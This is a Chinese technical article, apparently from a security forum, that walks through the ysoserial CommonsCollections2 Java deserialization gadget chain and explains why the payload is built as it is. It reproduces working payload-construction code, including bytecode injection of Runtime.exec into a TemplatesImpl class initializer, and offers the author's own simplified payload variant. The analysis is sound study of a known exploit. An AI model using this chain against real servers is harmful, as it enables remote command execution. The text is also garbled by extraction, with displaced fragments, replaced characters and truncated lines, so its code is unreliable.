s.readInt();

queue = new Object[size];

zhouliu / 2017-12-11 11:02:05 / 浏览数 4474 技术文章 技术文章 顶(0) 踩(0)

0x00 背景

前段时间推荐一学弟好好看看Ysoserial,中间他问了我两个问题:1)queue为什么要先用两个1占位;2)PriorityQueue的queue 已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素(参见CommonsCollections2的源码) 我之前只是看了部分分析比如drops这篇,自己没有完完全全跟过相关源码。对于第一个问题,不假思索回答了"泛型类型擦除",确切说是元素放入队列会进行比较排序,比这两天有时间看了源码和序列规范,真是惭愧,误人子弟了! 在寻找答案的过程中,同事也尝试通过正向的思路去理解整个payload的构造,这个思路更加直白,感兴趣的可以看看。如果单纯想知道问题答案可以直接看0x03 问题解答

```
0x01 Gadget chain 分析
1) Gadget chain
  Gadget chain:
      ObjectInputStream.readObject()
          PriorityQueue.readObject()
                   TransformingComparator.compare()
                       InvokerTransformer.transform()
                          Method.invoke()
                              Runtime.exec()
* /
2) CommonsCollections2的getObject
\verb"public Queue<Object> \verb"getObject(final String command)" throws Exception \{
       final Object templates = Gadgets.createTemplatesImpl(command);
       // mock method name until armed
       final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
       // create queue with numbers and basic comparator
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
       // stub data for replacement later
      queue.add(1);
      queue.add(1);
       // switch method called by comparator
      Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
       // switch contents of queue
      final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
      queueArray[0] = templates;
       queueArray[1] = 1;
      return queue;
   }
3) 待序列化反序列化的类
既然是正向思路,自然是从反序列化的本质出发。因此,很自然第一个问题是待序列化反序列化的类是哪一个。
//java.util.PriorityQueue
4)它的readObject方法做了什么
private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
       // Read in size, and any hidden stuff
      s.defaultReadObject();
       // Read in (and discard) array length
```

```
// Elements are guaranteed to be in "proper order", but the
               // spec has never explained what that might be.
              heapify();
      }
正如PriorityQueue名字,其是优先级的队列,既然是一个有优先级的队列,必然存在区分优先级的机制--排序。
在4)中, 从heapify-->siftDown-->siftDownUsingComparator
private void heapify() {
              for (int i = (size >>> 1) - 1; i >= 0; i--)
                       siftDown(i, (E) queue[i]);
      }
  private void siftDown(int k, E x) {
              if (comparator != null)
                       siftDownUsingComparator(k, x);
              else
                       siftDownComparable(k, x);
private void siftDownUsingComparator(int k, E x) {
              int half = size >>> 1;
              while (k < half) {</pre>
                       int child = (k \ll 1) + 1;
                       Object c = queue[child];
                       int right = child + 1;
                       if (right < size &&
                                comparator.compare((E) c, (E) queue[right]) > 0)
                                c = queue[child = right];
                       if (comparator.compare(x, (E) c) <= 0)
                       queue[k] = c;
                       k = child;
               queue[k] = x;
      }
在siftDown中,如果成员comparator不为空,则调用siftDownUsingComparator(名字很直白)。那么comparator(比较器)从哪里来呢?看看PriorityQueue其中一个
public PriorityQueue(int initialCapacity,
                                                  Comparator<? super E> comparator) {
               // Note: This restriction of at least one is not actually needed,
               // but continues for 1.5 compatibility
               if (initialCapacity < 1)
                       throw new IllegalArgumentException();
              this.queue = new Object[initialCapacity];
              this.comparator = comparator;//■■■■■
      }
可以在实例化指定。
5) CommonsCollections2使用了什么比较器
回顾2),使用了TransformingComparator
// {\tt org.apache.commons.collections 4.comparators. Transforming Comparator and Comparator and
siftDownUsingComparator方法调用了比较器的compare方法
public int compare(I obj1, I obj2) {
              0 value1 = this.transformer.transform(obj1);
              0 value2 = this.transformer.transform(obj2);
              return this.decorated.compare(value1, value2);
      }
成员变量transformer是Transformer类型(调用它的transform方法,嗅到CommonsCollection1中熟悉的味道)。
```

// Read in all elements.
for (int i = 0; i < size; i++)
 queue[i] = s.readObject();</pre>

6) Transformer具体实现类是哪一个回顾2),使用了InvokerTransformer

//ysoserial.payloads.CommonsCollections2

当然还是熟悉的InvokerTransformer。

类比CommonsCollections1,通过ChainedTransformer将InvokerTransformer和ConstantTransformer串起来完全够用了。即:ChainedTransformer承载:不知道作者为什么要复杂化。当然,一方面可能存在某些局限我没有发现;另一方面,更复杂的链的确需要更深的功底,不得不佩服。 (下面还是顺着复杂的继续看下去)

7) PriorityQueue队列中放置了什么元素

一开始放置了两个"1"占位,后面通过反射将其中之一换为templates(这里引出第一个问题)。跟进templates生成过程:

```
public static <T> T createTemplatesImpl (final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactor
           throws Exception {
       final T templates = tplClass.newInstance();
       // use template gadget class
       ClassPool pool = ClassPool.getDefault();
       pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
       pool.insertClassPath(new ClassClassPath(abstTranslet));
       final CtClass clazz = pool.get(StubTransletPayload.class.getName());
       // run command in static initializer
       // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
       String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
           \label{local_command_replaceAll("\\\","\\\\\").replaceAll("\"", "\\\"") + \\
           "\");";
       clazz.makeClassInitializer().insertAfter(cmd);
       // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
       clazz.setName("ysoserial.Pwner" + System.nanoTime());
       CtClass superC = pool.get(abstTranslet.getName());
       clazz.setSuperclass(superC);
       final byte[] classBytes = clazz.toBytecode();
       // inject class bytes into instance
       Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
           classBytes, ClassFiles.classAsBytes(Foo.class)
       });
       // required to make TemplatesImpl happy
       Reflections.setFieldValue(templates, "_name", "Pwnr");
       {\tt Reflections.setFieldValue(templates, "\_tfactory", transFactory.newInstance());}
       return templates;
```


上面代码做了几件事:

- 实例化一个org.apache.xalan.xsltc.trax.TemplatesImpl -- templates , 其成员_bytecodes可以放置字节码;
- 获取 StubTransletPayload(继承org.apache.xalan.xsltc.runtime.AbstractTranslet)字节码,并插入命令执行的字节码;
- 通过反射,设置templates私有成员变量的值,其中_bytecodes正是装载插入了执行我们执行命令的StubTransletPayload字节码。

整理一下,最重要的命令执行已经插入了,待序列化和反序列化的类已经准备...一切就绪,看看流程是怎么串起来。

8)回头看5), InvokerTransformer的transform方法将会被调用:

```
public 0 transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class<?> cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
```

```
} catch (InvocationTargetException var6) {
                                             throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass()
                     }
        }
回头看2) InvokerTransformer的iMethodName已经已经指定为newTransformer。
9) org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer
结合5)和8,org.apache.xalan.xsltc.trax.TemplatesImpl的newTransformer方法将会被调用:
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
                    {\tt TransformerImpl\ transformer = new\ TransformerImpl(this.getTransletInstance(),//{\tt Hemmerimpl})}
                     this._outputProperties, this._indentNumber, this._tfactory);
                     if (this._uriResolver != null) {
                                 transformer.setURIResolver(this. uriResolver);
                     if (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \{ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\  \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) \ \} \\ \ (this.\_tfactory.getFeature("http://javax.xml.XMLConstants/feature-processing")) \ \} \\ \ (this.\_tfactory.getFeature-processing")) \ \} \\ \ (th
                                 transformer.setSecureProcessing(true);
                    return transformer;
        }
10 ) org.apache.xalan.xsltc.trax.TemplatesImpl的getTransletInstance
接着看this.getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
                    ErrorMsq err;
                    try {
                                if (this._name == null) {
                                            return null;
                                 } else {
                                            if (this._class == null) {
                                                        this.defineTransletClasses();//■■■■
                                             }
                                            AbstractTranslet\ translet\ =\ (AbstractTranslet) this.\_class[this.\_transletIndex]. newInstance(); // \blacksquare \blacksquare \blacksquare = (AbstractTranslet) translet = (AbstractTrans
                                             translet.postInitialization();
                                             translet.setTemplates(this);
                                             if (this._auxClasses != null) {
                                                        translet.setAuxiliaryClasses(this._auxClasses);
                                             }
//
         }
11 ) org.apache.xalan.xsltc.trax.TemplatesImpl的gdefineTransletClasses:
private void defineTransletClasses() throws TransformerConfigurationException {
                     if (this._bytecodes == null) {
                                ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
                                 throw new TransformerConfigurationException(err.toString());
                     } else {
                                public Object run() {
                                                        return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
                                 });
                                ErrorMsq err;
                                 try {
                                             int classCount = this._bytecodes.length;
                                             this._class = new Class[classCount];
                                             if (classCount > 1) {
                                                        this._auxClasses = new Hashtable();
                                             }
```

for(int i = 0; i < classCount; ++i) {</pre>

this._class[i] = loader.defineClass(this._bytecodes[i]);

```
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                      this. transletIndex = i;
                  } else {
                      this._auxClasses.put(this._class[i].getName(), this._class[i]);
              }
}
12)获取到对象的字节码之后,就可以实例化对象了:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//BEStubTransletPayloadBESSESjavassist
0x02 流程概括
PriorityQueue承载TemplatesImpl,TemplatesImpl的_bytecodes装载StubTransletPayload字节码,通过javassist修改StubTransletPayload字节码插入命令执行,Priori
0x03 问题解答
1) queue为什么要先用两个1占位?
public Queue<Object> getObject(final String command) throws Exception {
      final Object templates = Gadgets.createTemplatesImpl(command);
      // mock method name until armed
      final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
      // create queue with numbers and basic comparator
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
      // stub data for replacement later
      queue.add(1);
      queue.add(1);
实话说,其实我也不知道。但是我最初的说法(比较器要求元素类型一致,payload这么构造是为了防止序列化过程出现异常)肯定不严谨。
简单分析
a.泛型
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
PriorityQueue指定Object, 1会被装箱成Integer, 和templates都是Object的子类, 因此这里编译不会有问题。
b.比较
i. 如果放进PriorityQueue的元素不一致,会不会在比较时出现问题呢?
public int compare(I obj1, I obj2) {
      0 value1 = this.transformer.transform(obj1);
      0 value2 = this.transformer.transform(obj2);
      return this.decorated.compare(value1, value2);
回答上面的问题,需要看上面this.decorated.compare(value1, value2)会不会有问题。
ii. 看看this.decorated
public TransformingComparator(Transformer<? super I, ? extends 0> transformer) {
      this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  }
  public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
      this.decorated = decorated;//ComparatorUtils.NATURAL_COMPARATOR
      this.transformer = transformer;
iii. ComparatorUtils.NATURAL COMPARATOR 是何物
public class ComparableComparator<E extends Comparable<? super E>> implements Comparator<E>, Serializable {
  private static final long serialVersionUID = -291439688585137865L;
  public static final ComparableComparator INSTANCE = new ComparableComparator();
  public static <E extends Comparable<? super E>> ComparableComparator<E> comparableComparator() {
```

Class superClass = this. class[i].getSuperclass();

```
return INSTANCE;
  }
  public ComparableComparator() {
  public int compare(E obj1, E obj2) {
      return obj1.compareTo(obj2);//
iv. 再回头看看i中value1和value2是什么
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
因为InvokerTransformer在初始化时已经指定toString,所以调用其transform方法就会得到String。既然都是String,比较当然没有问题!
CommsCollections2
public Queue<Object> getObject(final String command) throws Exception {
      final Object templates = Gadgets.createTemplatesImpl(command);
      // mock method name until armed
      final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
      // create queue with numbers and basic comparator
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
      // stub data for replacement later
      queue.add(templates);
      queue.add(new VerifyError("nothing"));
      // switch method called by comparator
      Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
      // switch contents of queue
      //final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
      //queueArray[0] = templates;
      //queueArray[1] = 1;
      return queue;
  }
所以,作者为什么这么写,也许更加优雅吧。
2) PriorityQueue的queue 已经使用transient关键字修饰,为什么还能从流中反序列化queue中的元素?
成员使用transient关键字修饰,的确是为了序列化时不写入流中(该成员可能含有敏感信息,出于保护不写入)。这一点可以从序列化的文件中验证:
但是,序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权。
PriorityQueue的确实现类writeObject方法,将队列中的元素写入流中:
private void writeObject(java.io.ObjectOutputStream s)
      throws java.io.IOException{
      // Write out element count, and any hidden stuff
      s.defaultWriteObject();
      // Write out array length, for compatibility with 1.5 version
      s.writeInt(Math.max(2, size + 1));
      // Write out all elements in the "proper order".
      for (int i = 0; i < size; i++)
          s.writeObject(queue[i]);
  }
正是因为如下, readObject才可以从输入流中读取队列元素
private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      // Read in size, and any hidden stuff
      s.defaultReadObject();
      // Read in (and discard) array length
      s_readInt();
```

0x04 参考

http://drops.wooyun.org/papers/14317

 $\underline{https://docs.oracle.com/javase/8/docs/platform/serialization/spec/serialTOC.html}$

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